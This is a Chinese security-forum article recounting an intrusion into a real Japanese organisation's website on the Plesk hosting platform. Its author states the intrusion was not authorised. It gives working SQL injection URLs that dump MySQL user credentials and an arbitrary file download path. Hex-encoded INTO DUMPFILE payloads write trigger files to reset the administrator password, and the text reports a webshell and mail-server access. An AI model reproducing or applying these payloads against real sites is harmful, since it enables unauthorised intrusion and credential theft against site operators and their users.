习科2014沙龙共四篇安全演讲,其中第一篇演讲为Plesk建站平台安全案例两则。秉承“技术创新,技术共享,技术进步”的原则,习科已经将第一篇演讲稿PPT放置于习科论坛公开下载。两则案例中的第二则案例,采自日本“国際情報化協力”(cicc.or.jp),也就是习科论坛前阵开放下载的《SQL注入自学指南》中被和谐掉的Z篇。

 

 

 Plesk平台全称Parallels Plesk Panel,由SWSOFT开发,是国际上较知名的主机管理软件和主机控制面板,其跨平台以及多国语言支持,快捷安装和安全设置,让其在国际市场上占有一定的份额。

牌子越大并不代表技术层面越高,越傻瓜化的程序存在人为的安全隐患就越多。来看CICC实例吧。


CICC存在显著的前台注入漏洞:

/Prg/whatsnew/ja/whatsnew_details.php?cd=0+union+select+1,2,3,group_concat(user,0x3a,password,0x3a,host,0x3c62723e),5,6,7,8,9,10,11,112,13,14,15,16,17,18,19,20+from+mysql.user

注入点为MySQL的root权限,gpc为off,可以读写文件,但web目录没有MySQL的写入权限。

通过读取前台的数据库,同样的管理员密码md5加密也破解不了。

 

 

 

技术人员的思路是:既然可写入文件,那就应该可以写入trigger,执行update语句,改掉管理员密码,之后进后台拿shell。

无论取到webshell与否,完成下一步后再将管理员密码改回。

重新审计了一下整站,发现存在任意文件下载漏洞:/japanese/include/netcommons_file.php?path=/cabinet/1/.././.././../modules/cabinet/admin/downloadnum_add.php

 

 

通过对源码的审计,并配合注入点找到一个执行mysql update操作的php:downloadnum_add.php

该文件操作对应的数据表为cicc_nc_cabinet,用于统计文件下载次数。

下一步就是构造写入trigger的TRG文件内容

TYPE=TRIGGERS
triggers='CREATE DEFINER=`admin`@`localhost` TRIGGER xx BEFORE UPDATE ON cicc_nc_cabinet\\\\nFOR EACH ROW \\\\nbegin\\\\nif NEW.file_id=2 then\\\\nupdate cicc_nc_members set password=md5(\\\\'123321\') where member_id=1;\nelseif
NEW.file_id=1 then \nupdate cicc_nc_members set password=\'5b6c27c0f38d58bfb79739a4a7fcb70e\' where member_id=1;\nend if;\nend'
sql_modes=0
definers='[email protected]'
于是构造写入语句:


/Prg/whatsnew/ja/whatsnew_details.php?cd=12+and+1=2+union+select+0x545950453d54524947474552530a74726967676572733d2743524541544520444546494e45523d6061646d696e6040606c6f63616c686f7374602054524947474552207878204245464f524520555044415445204f4e20636963635f6e635f636162696e65745c6e464f52204541434820524f57205c6e626567696e5c6e6966204e45572e66696c655f69643d32207468656e5c6e75706461746520636963635f6e635f6d656d62657273207365742070617373776f72643d6d6435285c273132333332315c2729207768657265206d656d6265725f69643d313b5c6e656c73656966204e45572e66696c655f69643d31207468656e205c6e75706461746520636963635f6e635f6d656d62657273207365742070617373776f72643d5c2735623663323763306633386435386266623739373339613461376663623730655c27207768657265206d656d6265725f69643d313b5c6e656e642069663b5c6e656e64270a73716c5f6d6f6465733d300a646566696e6572733d2761646d696e406c6f63616c686f7374270a,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/cicc_en/cicc_nc_cabinet.TRG'#
同样的构造TRN文件:


TYPE=TRIGGERNAME
trigger_table=cicc_nc_cabinet
写入语句为:


/Prg/whatsnew/ja/whatsnew_details.php?cd=12+and+1=2+union+select+0x545950453d545249474745524e414d450a747269676765725f7461626c653d636963635f6e635f636162696e65740a,'','','','','','','','','','','','','','','','','','',''+into+dumpfile+'/var/lib/mysql/cicc_en/xx.TRN'#
轮到这个技术步骤的最后一步,触发trigger,将管理员密码update掉。


/english/modules/cabinet/admin/downloadnum_add.php?file_id=2

该步骤下,管理密码被update123321(返回空白)

同样的我们还构造了一个密码还原语句:

/english/modules/cabinet/admin/downloadnum_add.php?file_id=1

之后登录后台取得webshell,将密码还原。

Plesk平台中的邮件服务器的登录密码在数据库中发现,获得登录权限,最终被踢。

 

小编点评:

是习科论坛前阵开放下载的《SQL注入自学指南》中被和谐掉的Z篇,因为迫于压力未能与大家见面。

至于开放原因,下一篇报道会说明。

特此声明,本次SQL安全测试未受任何部门或组织授权,属于对Plesk平台安全评估的随机挑选目标,习科绝不教唆此类及类似的入侵行为,切勿将本文研讨的技术用于非法或商业目的。

//silic.wiki